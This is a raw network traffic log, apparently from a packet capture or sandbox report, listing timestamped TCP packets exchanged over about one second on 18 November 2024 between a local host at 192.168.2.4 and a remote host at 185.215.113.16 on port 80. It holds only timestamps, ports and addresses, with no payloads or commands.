Nov 18, 2024 17:23:28.022816896 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.023228884 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.059566975 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.059597969 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.059741020 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.066941977 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.067004919 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.067070961 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.101813078 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.101871014 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.101891994 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.101907015 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.101948977 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.102001905 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.102035046 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.102082968 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.102231026 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.102323055 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.102358103 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.102368116 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.102427959 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.102462053 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.102472067 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.102976084 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.103024006 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.103066921 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.103101015 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.103144884 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.103169918 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.139554024 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.139586926 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.139611959 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.172157049 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.172215939 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.172274113 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.185489893 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.185528040 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.185553074 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.185595989 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.185772896 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.218550920 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.218584061 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.218674898 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.218837023 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.218909025 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.218945026 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.219047070 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.219063044 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.219095945 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.219182968 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.219216108 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.219249964 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.219264984 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.219795942 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.219852924 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.219861984 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.219887972 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.219921112 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.219938040 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.219955921 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.220004082 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.220499992 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.220546961 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.220592976 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.289797068 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.289855957 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.289887905 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.289995909 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.302685976 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.302721024 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.302755117 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.302911043 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.302911043 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.379090071 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.379149914 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.379184008 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.379224062 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.379277945 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.379329920 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.379374027 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.379487038 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.379520893 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.379554987 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.379578114 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.379611015 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.379631996 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.379646063 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.379679918 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.379693985 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.380378962 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.380431890 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.380434990 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.380467892 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.380516052 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.380532026 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.406810045 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.406862974 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.406894922 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.406981945 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.406981945 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.419874907 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.419912100 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.420049906 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.420381069 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.470357895 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.496110916 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.496174097 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.496207952 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.496318102 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.496354103 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.496396065 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.496397972 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.496433020 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.496499062 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.496673107 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.496709108 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.496758938 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.497035980 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.497092009 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.497124910 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.497134924 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.497215033 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.497250080 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.497257948 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.497737885 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.497783899 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.497792006 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.497827053 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.497869968 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.523870945 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.523906946 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.523941040 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.524074078 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.576308966 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.576368093 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.576401949 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.576438904 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.576462030 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.576498032 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.613260031 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.613318920 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.613370895 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.613373995 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.613405943 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.613435030 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.613455057 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.613502979 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.613552094 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.613554955 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.613589048 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.613631964 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.613707066 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.613760948 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.613796949 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.613806009 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.614365101 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.614417076 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.614418030 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.614449978 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.614500046 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.614847898 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.614881039 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.614912987 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.614924908 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.641135931 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.641177893 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.641182899 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.641211033 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.641259909 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.690334082 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.690432072 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.690480947 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.690485954 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.690521955 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.690573931 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.730743885 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.730801105 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.730834961 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.730850935 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.730956078 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.730993986 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.731004000 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.731029987 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.731082916 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.731177092 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.731264114 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.731304884 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.731342077 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.731383085 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.731434107 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.731739044 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.731775045 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.731821060 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.731827974 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.731862068 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.731897116 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.731903076 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.758456945 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.758513927 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.758522987 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.758548021 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.758582115 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.758589029 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.758651972 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.758686066 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.758696079 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.798358917 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.807566881 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.807607889 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.807625055 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.807835102 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.847867966 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.847934008 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.847970009 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.848050117 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.848050117 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.848181963 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.848334074 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.848368883 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.848387003 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.848422050 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.848455906 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.848473072 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.848493099 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.848531008 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.848542929 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.849236965 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.849273920 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.849286079 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.849311113 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.849340916 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.849360943 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.849376917 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.849410057 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.849421978 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.875694036 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.875751972 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.875787973 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.875814915 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.875897884 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.875991106 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.880644083 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.880703926 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.922161102 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.924736023 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.924889088 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.925996065 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.926032066 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.926074982 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.926085949 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.929788113 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.929827929 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.929842949 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.970343113 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.972759962 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.972796917 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.972867966 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.977205992 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.977241039 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.977273941 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.977304935 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.977705956 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.977739096 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.977761030 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.977775097 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.977818966 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.982028961 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.982064009 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.982114077 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.982497931 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.982580900 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.982630968 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.987040043 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.987091064 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.987138987 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:28.987282991 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.987333059 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:28.987385035 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.002072096 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.002255917 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.002304077 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.002305984 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.007287979 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.007342100 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.007438898 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.039480925 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.039515018 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.039551973 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.039663076 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.039663076 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.044353962 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.044384956 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.044434071 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.044435978 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.044470072 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.044511080 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.083555937 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.083609104 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.083642960 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.083671093 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.083760977 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.083813906 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.083813906 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.083848953 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.083893061 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.083971024 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.084022045 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.084055901 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.084070921 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.084630966 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.084685087 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.084705114 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.084738016 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.084788084 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.084851027 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.084883928 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.084917068 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.084933996 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.085506916 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.085597038 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.110786915 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.110838890 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.110872030 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.110903978 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.111000061 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.111150980 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.156943083 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.156996012 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.157030106 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.157053947 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.157104969 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.157140017 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.157154083 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.159065008 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.159121990 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.159204960 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.159235954 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.159269094 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:29.159282923 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:29.200607061 CET	80	49743	185.215.113.16	192.168.2.4
